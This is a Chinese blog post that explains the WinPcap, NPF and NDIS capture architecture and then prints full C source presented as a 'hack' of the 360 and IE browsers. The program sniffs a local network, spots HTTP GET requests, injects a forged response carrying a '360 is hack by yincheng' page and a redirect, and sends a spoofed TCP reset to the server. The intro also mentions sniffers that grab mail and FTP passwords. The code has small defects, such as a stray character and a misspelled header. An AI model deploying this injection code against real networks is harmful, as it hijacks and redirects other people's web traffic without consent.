• 基于winpcap的NDIS在IE浏览器,360安全浏览器hack"www.360.cn"




    winpcap(windows packet capture)是windows平台下一个免费,公共的网络访问系统。开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。
    winpcap 驱动各项功能
      1. 捕获原始数据包,包括在共享网络上各主机发送/接收的以及相互之间交换的数据  winpcap结构
    包;  
     2. 在数据包发往应用程序之前,按照自定义的规则将某些特殊的数据包过滤掉; 
      3. 在网络上发送原始的数据包;  
     4.收集网络通信过程中的统计信息。   
    winpcap的主要功能在于独立于主机协议(如TCP-IP)而发送和接收原始数据包。也就是说,winpcap不能阻塞,过滤或控制其他应用程序数据包的发收,它仅仅只是监听共享网络上传送的数据包。因此,它不能用于QoS调度程序或个人防火墙。目前,winpcap开发的主要对象是windows NT/2000/XP,这主要是因为在使用winpcap的用户中只有一小部分是仅使用windows 95/98/Me,并且MS也已经放弃了对win9x的开发。因此本文相关的程序T-ARP也是面向NT/2000/XP用户的。其实winpcap中的面向9x系统的概念和NT系统的非常相似,只是在某些实现上有点差异,比如说9x只支持ANSI编码,而NT系统则提倡使用Unicode编码。有个软件叫sniffer pro.可以作网管软件用,有很多功能,可监视网络运行情况,每台网内机器的数据流量,实时反映每台机器所访问IP以及它们之间的数据流通情况,可以抓包,可对过滤器进行设置,以便只抓取想要的包,比如POP3包,smtp包,ftp包等,并可从中找到邮箱用户名和密码,还有ftp用户名和密码。它还可以在使用交换机的网络上监听,不过要在交换机上装它的一个软件。还有一个简单的监听软件叫Passwordsniffer,可截获邮箱用户名和密码,还有ftp用户名和密码,它只能用在HUB网络上。著名软件tcpdump及ids snort都是基于libpcap编写的,此外Nmap扫描器也是基于libpcap来捕获目标主机返回的数据包的。  
     winpcap提供给用户两个不同级别的编程接口:一个基于libpcap的wpcap.dll,另一个是较底层的packet.dll。对于一般的要与unix平台上libpcap兼容的开发来说,使用wpcap.dll是当然的选择。
    编辑本段Winpcap的内部结构
      Winpcap的各个组成部分
      Winpcap是针对Win32平台上的抓包和网络分析的一个架构。它包括一个核心态的包过滤器,一个底层的动态链接库(packet.dll)和一个高层的不依赖于系统的库(wpcap.dll)。   为什么使用“architecture”而不是“library”呢?因为抓包是一个要求与网络适配器(网卡)和操作系统交互的底层机制,而且与网络的实施也有密切关系,所以仅用“library”不能充分表达Winpcap的作用。  
      首先,抓包系统必须绕过操作系统的协议栈来访问在网络上传输的原始数据包(raw packet),这就要求一部分运行在操作系统核心内部,直接与网络接口驱动交互。这个部分是系统依赖(system dependent)的,在Winpcap的解决方案里它被认为是一个设备驱动,称作NPF(Netgroup Packet Filter)。Winpcap开发小组针对Windows95,Windows98,WindowsME,Windows NT 4,Windows2000和WindowsXP提供了不同版本的驱动。这些驱动不仅提供了基本的特性(例如抓包和injection),还有更高级的特性(例如可编程的过滤器系统和监视引擎)。前者可以被用来约束一个抓包会话只针对网络通信中的一个子集(例如,仅仅捕获特殊主机产生的ftp通信的数据包),后者提供了一个强大而简单的统计网络通信量的机制(例如,获得网络负载或两个主机间的数据交换量)。  
     其次,抓包系统必须有用户级的程序接口,通过这些接口,用户程序可以利用内核驱动提供的高级特性。Winpcap提供了两个不同的库:packet.dll和wpcap.dll。前者提供了一个底层API,伴随着一个独立于Microsoft操作系统的编程接口,这些API可以直接用来访问驱动的函数;后者导出了一组更强大的与libpcap一致的高层抓包函数库(capture primitives)。这些函数使得数据包的捕获以一种与网络硬件和操作系统无关的方式进行。
    NPF驱动
      网络数据包过滤器(Netgroup Packet Filter,NPF)是Winpcap的核心部分,它是Winpcap完成困难工作的组件。它处理网络上传输的数据包,并且对用户级提供可捕获(capture)、发送(injection)和分析性能(analysis capabilities)。
    NPF和NDIS
      NDIS(Network Driver Interface Specification)是一个定义网络适配器(或者说成是管理网络适配器的驱动程序)与协议驱动(例如TCP/IP的实现)之间通信的规范。NDIS最主要的目的是作为一个允许协议驱动发送和接收网络(LAN或WAN)上的数据包而不必关心特定的适配器或特定的Win32操作系统的封装。   NDIS支持三种类型的网络驱动: 
      (1) 网络接口卡或NIC驱动(Network interface card or NIC drivers)。NIC驱动直接管理着网络接口卡(NIC)。NIC驱动接下边与硬件连接,从上边表现为一个接口,该接口允许高层发送数据包到网络上,处理中断,重置NIC,停止NIC,查询和设置驱动的运行特征。NIC驱动可以是小端口(miniport)或完全的NIC驱动(full NIC driver)。 
      Miniport驱动仅仅实现了管理NIC的必要操作,包括在NIC上发送和接收数据。对于所有最底层的NIC驱动的操作由NDIS提供,例如同步(synchronization)。小端口(miniport)不直接调用操作系统函数,它们对于操作系统的接口是NDIS。  
     小端口仅仅是向上传递数据包给NDIS并且NDIS确保这些数据包被传递给正确的协议。 
      完全NIC驱动(Full NIC driver)完成硬件细节的操作和所有由NDIS完成的同步和查询操作。例如,完全NIC驱动维持接收到的数据的绑定信息。   
    (2) 中间层驱动(Intermediate drivers)中间层驱动位于高层驱动(例如协议驱动)和小端口之间。对于高层驱动,中间层驱动看起来像是小端口;对于小端口,中间层驱动看起来像协议驱动。一个中间层协议驱动可以位于另一个中间层驱动之上,尽管这种分层可能对系统性能带来负面影响。开发中间层驱动的一个关键原因是在现存的遗留协议驱动(legacy protocol driver)和小端口之间形成媒体的转化。例如,中间层驱动可以将LAN协议转换成ATM协议。中间层驱动不能与用户模式的应用程序通信,但可以与其他的NDIS驱动通信。  
     (3) 传输驱动或协议驱动(Transport drivers or protocol drivers)协议驱动实现了网络协议栈,例如IPX/SPX或TCP/IP,在一个或多个网络接口卡上提供它的服务。在协议驱动的上面,它为应用层客户程序服务;在它的下面,它与一个或多个NIC驱动或中间层NDIS驱动连接。 


    大家看到的360被hack,.以及360安全浏览器被hack.的源代码解析如下

    源代码分析如下:
    代码:
    #include "pcap.h"
    
    #include <mbstring.h>
    #include <stdio.h>
    #include <windows.h>
    #include <string>
    
    #include "tcpip.h"
    using namespace std;
    struct pseudoheader       /* TCP头文件 */
    {
      u_int32_t sip, dip;   /* IP 地址 */
      u_int8_t  zero;       /* 空白字节 */
      u_int8_t  protocol;   /* 协议号 */
      u_int16_t tcplen;     /* TCP 长度 */
    };
    pcap_t    *    m_fp;      //网卡指针,用于发
    
    /* 块缓冲区禁止客户端向发送 */
    u_int8_t            m_pBlockBuffer[512];
    u_int32_t            m_cbBlockBuffer;
    char                            szReURL[256];
    /* 一个54字节的缓冲区需要发送TCP重置数据包 */
    char              reset_buf[54];
    
    bool SendPacket(u_char *buf, int iSize);
    
    /* 检查前4个字节,如果传入的缓冲区为“GET /” */
    int          CheckHttpState(u_int8_t* buffer,u_int32_t len);
    
    void         DecodeHTTP(u_int8_t *,
                     const u_int32_t,
                     Packet *);
    
    void        DecodeTCP(u_int8_t *,
                    const u_int32_t,
                    Packet *);
    
    /* 解码IP包头和包对象举行 */
    void        DecodeIP(u_int8_t *,
                   const u_int32_t,
                   Packet *);
    
    
    
    
    
    
    
    int          FilterHttpRequest(Packet *);
    
    /* 计算IP头的校验 */
    unsigned short CalcIPSum(unsigned short *, int);
    
    /* 为TCP报头的校验和计算*/
    unsigned short CalcTCPSum(unsigned short *h, unsigned short * d, int dlen);
    
    int FilterHttpRequest(Packet *p);
    /* 头的校验和计算 */
    void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data);
    
    int main()
    {
      
      ZeroMemory(m_pBlockBuffer, 512);
      string strBufferHdr;
      string strBufferHTML;
      string strhttp("http://");
      char szRedirect[512]={0};
      lstrcpy(szReURL, "http://www.360.cn");
    
      char*pTemp = strstr(szReURL,"http://");
      if(!pTemp){
        sprintf(szRedirect, "<meta http-equiv=\"Refresh\" content=1;url=%s%s>", "http://",szReURL);      
      }
      else
      {
           sprintf(szRedirect, "<meta http-equiv=\"Refresh\" content=1;url=%s>",szReURL);  
      }
        
      strBufferHTML =    "<html>";
      strBufferHTML +=  "<head>";
      strBufferHTML +=  "<title>360 is  hack by  yincheng</title>";
      strBufferHTML +=    string(szRedirect);
      strBufferHTML +=    "</head><body><TABLE height=\"100%\" width=\"100%\">";
      strBufferHTML +=  "<TR>";
      strBufferHTML +=  "<TD align=\"center\"><h1>360 is  hack by  yincheng</h1>";
      strBufferHTML +=  "</TD>";
      strBufferHTML +=  "</TR>";
      strBufferHTML +=  "</TABLE>";
      strBufferHTML +=  "</body>";
      strBufferHTML +=  "</html>\n\n\n";  
      
      
      char len[10];
      _itoa (strBufferHTML.size(), len, 10);
      
      strBufferHdr +=  "HTTP/1.1 200 OK\r\n";
      strBufferHdr +=  "Content-Type: Text/HTML\r\n";
      strBufferHdr +=  "Connection: close\r\n";
      strBufferHdr +=  "Content-Lenght: ";
      strBufferHdr += len;
      strBufferHdr +=  "\r\n\r\n";
      
      
      strBufferHdr += strBufferHTML;
      
      // 第54个字节保留的TCP和IP报头的位置
    
      _mbscpy (m_pBlockBuffer + 54,(u_int8_t*)strBufferHdr.c_str());  
      m_cbBlockBuffer = strBufferHdr.size(); // 仅HTTP负载的大小
    
    
    
    
        m_fp = NULL;
      
      pcap_if_t *alldevs;
      pcap_if_t *d;
      int inum;
      int i=0;
      pcap_t *adhandle;
      char errbuf[PCAP_ERRBUF_SIZE];
      
      /* 检索设备清单 */
      if(pcap_findalldevs(&alldevs, errbuf) == -1)
      {
        
        exit(1);
      }
      
      /* Print the list */
      for(d=alldevs; d; d=d->next)
      {
        printf("%d. %s", ++i, d->name);
        if (d->description)
          printf(" (%s)\n", d->description);
        
      }
      
      if(i==0)
      {
        printf("\n确保WinPcap 已经安装.\n");
        return -1;
      }
      
      printf("输入序列号(1-%d):",i);
      scanf("%d", &inum);
      
      if(inum < 1 || inum > i)
      {
        printf("\n设备接口.\n");
        /* 释放设备列表*/
        pcap_freealldevs(alldevs);
        return -1;
      }
      
      
        /* 到选定的适配器 */
        for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
    
      /* 打开网卡适配器 */
      if ((m_fp= pcap_open_live(d->name,  // 设备名称
                   1,      // 设备捕获端口. 
                                   // 65536全包.
                   1,        // 混杂模式(非零手段混杂)
                   1000,      // 超时
                   errbuf      // 错误
                   )) == NULL)
      {
        
        /* 释放设备列表 */
        pcap_freealldevs(alldevs);
        return -1;
      }
        
      
      if ((adhandle= pcap_open_live(d->name,
                   65536,      
                          
                   1,        
                   5,      
                   errbuf      
                   )) == NULL)
      {
        fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
        /* Free the device list */
        pcap_freealldevs(alldevs);
        return -1;
      }
      
      printf("\nlistening on %s...\n", d->description);
      
    
      pcap_freealldevs(alldevs);
      
      /* 启动捕获 */
      pcap_loop(adhandle, 0, packet_handler, NULL);
      
      if(adhandle)
      pcap_close(adhandle);
      if(m_fp)
      pcap_close(m_fp);
      return 0;
    }
    
    
    /* libpcap的每个传入的数据包调用的回调函数 */
    void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
    {
    
    
      int res = 0;  
      Packet* p = NULL;
      p = (Packet*)malloc(sizeof(Packet));
    
    
      ZeroMemory(p, sizeof (Packet));
        
      res = header->len;
    
      DecodeIP((u_int8_t*)pkt_data, res, p);
      if (p->banned == 1){
        printf("get http packet .\n");
        FilterHttpRequest(p);
      }
          
    
    /////////加入http的判断//////////////////////////////////////////////////////////////////////////
      
      p->eh = (EtherHdr*)pkt_data;
      if(  p->eh->ether_type == 0x0008)  //上面是IP层
      {
    
        // lay the IP struct over the raw data 
        p->iph = (IPHdr *) (pkt_data+ ETHERNET_HEADER_LEN); 
        
        
        if (p->iph->ip_proto == 6)
        {
      
          
          p->tcph = (TCPHdr *) (pkt_data + ETHERNET_HEADER_LEN+IP_HEADER_LEN);
        /
          
        
          if (p->tcph->th_flags & TH_ACK 
            && p->tcph->th_flags & TH_PSH)
          {
        
            if(p->tcph->th_dport != htons(80) &&
              // If target service is not HTTP 
              p->tcph->th_dport != htons(8080) )
              return ;
            
            p->data = (byte*)(pkt_data + ETHERNET_HEADER_LEN + 
              IP_HEADER_LEN + TCP_HEADER_LEN);
            
                          
            if( p->data[0] == 'G' &&
              p->data[1] == 'E' &&
              p->data[2] == 'T' &&
              p->data[3] == ' ' &&
              p->data[4] == '/' 
              )
            {
              
              printf("get dns packet .\n");
              FilterHttpRequest(p);
              
            }        
            
          }
        }
      }
      
      if(p)
        free(p);
      p = NULL;
      ////////http的完/////////////////////////////////////////////////////////////////////////////////
    
    }
    
    
    int FilterHttpRequest(Packet *p)
    {
    
      DWORD err = 0;
    
    
    
      pseudoheader ph;    /* 伪头声明*/
    
    
      
      //////////////////////////发送块页为CLIENT//////////////////////////
    
      // Use the first 54 bytes of m_pBlockBuffer for future TCP control packet transmission.
      ZeroMemory(m_pBlockBuffer, 54); // only zero first 54 bytes
      EtherHdr*  respEh = ((EtherHdr*)(m_pBlockBuffer ));
      IPHdr*  respIpHdr  = ((IPHdr*)(m_pBlockBuffer + sizeof(EtherHdr)));
      TCPHdr*  respTcpHdr  = ((TCPHdr*)(m_pBlockBuffer +sizeof(EtherHdr)+ sizeof(IPHdr)));
    
        memcpy(respEh->ether_dst , p->eh->ether_src, 6);
      memcpy(respEh->ether_src , p->eh->ether_dst,6);
      respEh->ether_type = p->eh->ether_type;
      
      respIpHdr->ip_csum = 0;
      respIpHdr->ip_dst = p->iph->ip_src;
      respIpHdr->ip_src = p->iph->ip_dst;
      respIpHdr->ip_len = htons(/*sizeof(EtherHdr)+*/(u_short)(sizeof (IPHdr) + sizeof (TCPHdr) + m_cbBlockBuffer));
      SET_IP_VER(respIpHdr, 0x4);
      SET_IP_HLEN(respIpHdr, 0x5);
      respIpHdr->ip_tos = p->iph->ip_tos;
      respIpHdr->ip_ttl = p->iph->ip_ttl;
      respIpHdr->ip_id = htons(2);  
      respIpHdr->ip_off = 0;
      respIpHdr->ip_proto = 0x06;
      respIpHdr->ip_csum = 
        CalcIPSum((u_short*) respIpHdr, IP_HLEN(respIpHdr) << 2);
    
    
    
      respTcpHdr->th_ack = htonl (ntohl (p->tcph->th_seq) + p->dsize);
      respTcpHdr->th_seq = p->tcph->th_ack;
      respTcpHdr->th_sport = p->tcph->th_dport;
      respTcpHdr->th_dport = p->tcph->th_sport;
      respTcpHdr->th_flags = TH_FIN|TH_ACK;
    
      SET_TCP_OFFSET(respTcpHdr, 0x5);
      SET_TCP_X2(respTcpHdr, 0x0);
      respTcpHdr->th_win = p->tcph->th_win;
      respTcpHdr->th_urp = 0;
    
      
    
      ph.sip = (u_int32_t)(p->iph->ip_dst.s_addr);
      ph.dip = (u_int32_t)(p->iph->ip_src.s_addr);
      ph.zero = 0;
      ph.protocol = 0x06;
      ph.tcplen = htons((u_short)(sizeof (TCPHdr) + m_cbBlockBuffer));
      respTcpHdr->th_sum = 0;
      respTcpHdr->th_sum     = 
        CalcTCPSum((u_int16_t *)&ph, 
        (u_int16_t *)respTcpHdr,
        sizeof(TCPHdr) + m_cbBlockBuffer);
    
      if(!SendPacket(m_pBlockBuffer, sizeof(EtherHdr)+sizeof(IPHdr) + sizeof(TCPHdr) + m_cbBlockBuffer)){
        printf("fail to SendPacket");
        return 0;
      }
    
    
      
    
    
      ///////////////////////发送TCP复位到服务器////////////////////////////
    
      ZeroMemory(reset_buf, 54);  
      EtherHdr*  rstpEh = ((EtherHdr*)(reset_buf));
      IPHdr*  rstIpHdr = ((IPHdr*)(reset_buf + sizeof(EtherHdr)));
      TCPHdr*  rstTcpHdr = ((TCPHdr*)(reset_buf + sizeof(EtherHdr)+sizeof (IPHdr) ));
    
    
      memcpy(rstpEh->ether_dst , p->eh->ether_dst, 6);
      memcpy(rstpEh->ether_src , p->eh->ether_src,6);
      rstpEh->ether_type = p->eh->ether_type;
      
      rstIpHdr->ip_dst = p->iph->ip_dst;
      rstIpHdr->ip_id = htons(2);
      rstIpHdr->ip_len = htons(/*sizeof(EtherHdr)+*/(u_short)(sizeof (IPHdr) + sizeof (TCPHdr)));
      rstIpHdr->ip_off = 0;
      rstIpHdr->ip_proto = 0x06;
      rstIpHdr->ip_src = p->iph->ip_src;
      rstIpHdr->ip_tos = p->iph->ip_tos;
      rstIpHdr->ip_ttl = p->iph->ip_ttl;
      SET_IP_VER(rstIpHdr, 0x4); 
      SET_IP_HLEN(rstIpHdr, 0x5);
      rstIpHdr->ip_csum = 
        CalcIPSum((u_short*) rstIpHdr, IP_HLEN(rstIpHdr) << 2);
    
      rstTcpHdr->th_ack = p->tcph->th_ack;  
      rstTcpHdr->th_seq = p->tcph->th_seq;
      rstTcpHdr->th_sport = p->tcph->th_sport;
      rstTcpHdr->th_dport = p->tcph->th_dport;
      rstTcpHdr->th_flags = TH_RST;//TH_RST;
    
      SET_TCP_OFFSET(rstTcpHdr, 0x5);
      SET_TCP_X2(rstTcpHdr, 0x0);
      rstTcpHdr->th_win = p->tcph->th_win;
      rstTcpHdr->th_urp = 0;
    
      ph.sip = (u_int32_t)(p->iph->ip_src.s_addr);
      ph.dip = (u_int32_t)(p->iph->ip_dst.s_addr);
      ph.zero = 0;
      ph.protocol = 0x06;
      ph.tcplen = htons((u_short)sizeof (TCPHdr));
      
      rstTcpHdr->th_sum     = 
        CalcTCPSum((u_int16_t *)&ph, 
        (u_int16_t *)rstTcpHdr,
        sizeof(struct TCPHdr));
      
      if(!SendPacket((u_char*)reset_buf, sizeof(EtherHdr)+sizeof(IPHdr) + sizeof(TCPHdr))){
        printf("fail to SendPacket");
        return 0;
      }
      
      return 1;
    }
    
    unsigned short CalcIPSum(unsigned short * w, int size)
    {
    /*  
    
    
         /*cksum  = w[0];
      cksum += w[1];
      cksum += w[2];
      cksum += w[3];
      cksum += w[4];
      cksum += w[5];
      cksum += w[6];
      cksum += w[7];
      cksum += w[8];
      cksum += w[9];
    
      blen  -= 20;
      w     += 10;
    
      while( blen ) /* IP-hdr must be an integral number of 4 byte words */
    /*  {
        cksum += w[0];
        cksum += w[1];
        w     += 2;
        blen  -= 4;
      }
    
      cksum  = (cksum >> 16) + (cksum & 0x0000ffff);
      cksum += (cksum >> 16);
    
      return (unsigned short) (~cksum);*/
      unsigned long cksum=0;
      
      while (size > 1) 
      {
        cksum += *w++;
        size -= sizeof(USHORT);
      }
      if (size) //如果字节数是不是2的倍数才会执行
      {
        cksum += *(UCHAR*)w;
      }
      cksum = (cksum >> 16) + (cksum & 0xffff);
      cksum += (cksum >>16);
      return (USHORT)(~cksum);
    }
    
    
    unsigned short CalcTCPSum(unsigned short *h, unsigned short * d, int dlen)
    {
      unsigned int cksum;
      unsigned short answer=0;
    
      /* PseudoHeader必须有12个字节 */
      cksum  = h[0];
      cksum += h[1];
      cksum += h[2];
      cksum += h[3];
      cksum += h[4];
      cksum += h[5];
    
      /* TCP HDR必须有20 HDR字节 */
      cksum += d[0];
      cksum += d[1];
      cksum += d[2];
      cksum += d[3];
      cksum += d[4];
      cksum += d[5];
      cksum += d[6];
      cksum += d[7];
      cksum += d[8];
      cksum += d[9];
    
      dlen  -= 20; /* bytes   */
      d     += 10; /* short's */ 
    
      while(dlen >=32)
      {
        cksum += d[0];
        cksum += d[1];
        cksum += d[2];
        cksum += d[3];
        cksum += d[4];
        cksum += d[5];
        cksum += d[6];
        cksum += d[7];
        cksum += d[8];
        cksum += d[9];
        cksum += d[10];
        cksum += d[11];
        cksum += d[12];
        cksum += d[13];
        cksum += d[14];
        cksum += d[15];
        d     += 16;
        dlen  -= 32;
      }
    
      while(dlen >=8)  
      {
        cksum += d[0];
        cksum += d[1];
        cksum += d[2];
        cksum += d[3];
        d     += 4;   
        dlen  -= 8;
      }
    
      while(dlen > 1)
      {
        cksum += *d++;
        dlen  -= 2;
      }
    
      if( dlen == 1 ) 
      { 
      
        *(unsigned char*)(&answer) = (*(unsigned char*)d);
    
        
    
        cksum += answer;
      }
    
      cksum  = (cksum >> 16) + (cksum & 0x0000ffff);
      cksum += (cksum >> 16);
    
      return (unsigned short)(~cksum);
    }
    
    
    
    bool SendPacket(u_char *buf, int iSize)
    {
      if(!m_fp)
        return false;
      int iResult;
      try
      {
        iResult =   pcap_sendpacket(m_fp,buf,iSize);
      }
      catch (...)
      {
      }
      if (iResult == 0)
        return true;
      return false;
    }
    
    void DecodeIP(u_int8_t * pkt, const u_int32_t len, Packet * p)
    {
      u_int32_t ip_len;      
      u_int32_t hlen;             /* ip 头长度 */
      
      
    
      /* 定了原始数据的以太网结构 */
      p->eh = (EtherHdr*)pkt;
      /* 在原始数据的IP结构 */
      p->iph = (IPHdr *) (pkt+ ETHERNET_HEADER_LEN); 
    
    
      /* 做点验证 */
      if(len < IP_HEADER_LEN)
      {    
        p->iph = NULL;
        return;
      }
    
      if(IP_VER(p->iph) != 4)
      {
        p->iph = NULL;
        return;
      }
    
      /* 设置IP数据报长度*/
      ip_len = ntohs(p->iph->ip_len);
    
      /* 设置IP头长度 */
      hlen = IP_HLEN(p->iph) << 2;
    
      /* 头部长度的完整性检查 */
      if(hlen < IP_HEADER_LEN)
      {
        p->iph = NULL;
        return;
      }
    
      if (ip_len > len) 
      {
         ip_len = len;
      }
    
      if(ip_len < hlen)
      {
         p->iph = NULL;
         return;
      }
    
      /* 测试IP选项 */
      p->ip_options_len = hlen - IP_HEADER_LEN;
    
      if(p->ip_options_len > 0)
      {
        p->ip_options_data = pkt + IP_HEADER_LEN;    
      }
    
    
      /* 设置其余的数据包长度 */
      ip_len -= hlen;
    
      /* 检查数据包碎片*/
      p->frag_offset = ntohs(p->iph->ip_off);
    
      /* 
      *得到保留,更值
            *片段,并没有做片段的标志
      */
      p->rf = (u_int8_t)((p->frag_offset & 0x8000) >> 15);
      p->df = (u_int8_t)((p->frag_offset & 0x4000) >> 14);
      p->mf = (u_int8_t)((p->frag_offset & 0x2000) >> 13);
    
      /* 屏蔽掉在片段偏移字段的高位 */
      p->frag_offset &= 0x1FFF;
    
      if(p->frag_offset || p->mf)
      {
        /* 设置该数据包片段旗标 */
        p->frag_flag = 1;  
      }
    
      /* 如果这个包是不是一个片段 */
      if(!(p->frag_flag))
      {
    
        /* 解码TCP头 */
        if (p->iph->ip_proto == IPPROTO_TCP)
        {
          DecodeTCP(pkt +ETHERNET_HEADER_LEN+ hlen, ip_len, p);
        }
    
      }
      else
      {
        /* 设置有效载荷指针和有效载荷的大小*/
        p->data = pkt +ETHERNET_HEADER_LEN+ hlen;
        p->dsize = (u_short) ip_len;
      }
    
    
      return;
    }
    
    void DecodeTCP(u_int8_t * pkt, const u_int32_t len, Packet * p)
    {
      u_int32_t hlen;            /* TCP 头长度*/
      
      if(len < 20)
      {
          p->tcph = NULL;
          return;
      }
    
      /* 延迟TCP */
      p->tcph = (TCPHdr *) pkt;
    
      /* 重新设定值 */
      hlen = TCP_OFFSET(p->tcph) << 2;
    
      if(hlen < 20)
      {
        p->tcph = NULL;
        return;
      }
    
      if(hlen > len)
      {
        p->tcph = NULL;
        return;
      }
    
      /* 重新编码 */
      p->tcp_options_len = hlen - 20;
    
      if(p->tcp_options_len > 0)
      {  
        p->tcp_options_data = pkt + 20;  
      }
    
    
      /* 设置数据指针字节 */
      p->data = (u_int8_t *) (pkt+ hlen);
    
      if(hlen < len)
      {
        p->dsize = (u_short)(len - hlen);
      }
      else
      {
        p->dsize = 0;
      }
      
      if (p->tcph->th_flags & TH_ACK
        /*&& p->tcph->th_flags & TH_PSH*/) 
      {
        if(p->tcph->th_dport != htons(80) &&
          p->tcph->th_dport != htons(8080) )
          return ;
    
        DecodeHTTP(p->data, p->dsize, p);
    
      }  
      return;
    }
    
    void DecodeHTTP(u_int8_t * pkt, const u_int32_t len, Packet * p)
    {
      if (CheckHttpState(pkt, len) == CLIENT_REQUEST)
      {  
        
        
        string strUrl("Host: ");
        string strOriginURL = string(szReURL);
        int nindex = strOriginURL.find("http://"); 
        if(nindex ==-1){
          strUrl+=strOriginURL;
        }else
        {
          string str("");
          str = strOriginURL.substr(7,strOriginURL.size()-7);
          
          strUrl+=str;
        }
    
      
        char* pTemp = strstr((char*)pkt, (char*)strUrl.c_str());
        if(pTemp)
          p->banned = 0;  //not filter it
        else
          p->banned = 1;  // packet caught, Filter it 
      
      }
      
    }
    
    int CheckHttpState(u_int8_t* buffer,u_int32_t len)
    {
      if(!len)
        return NOT_HTTP;
    
      if( buffer[0] == 'G' &&
        buffer[1] == 'E' &&
        buffer[2] == 'T' &&
        buffer[3] == ' ' &&
        buffer[4] == '/' )
        
        return CLIENT_REQUEST;
    
      if( buffer[0] == 'H' &&
        buffer[1] == 'T' &&
        buffer[2] == 'T' &&
        buffer[3] == 'P')
        return SERVER_RESPONSE;
    
      return NOT_HTTP;
    }
    

    上传的缩略图
    点击图片以查看大图

名称:	QQ截图20120613170557.png
查看次数:	41
文件大小:	42.2 KB
ID:	68212  
     
  • 相关阅读:
    C 语言中的 fgets()
    C++ 中的 C_str() 函数用法
    Ubuntu 下使用 sshfs 挂载远程目录到本地
    VirtualBox 下主机与虚拟机以及虚拟机之间互通信配置
    转:sudo 的常见用法和参数选项
    “a++” 与 “++a” 的区别
    Linux 下运行 C++ 程序出现 “段错误(核心已转储)”
    vector容器中添加和删除元素
    NCCloud 指令示例
    c++ find函数用法
  • 原文地址:https://www.cnblogs.com/new0801/p/6177738.html
Copyright © 2020-2023  润新知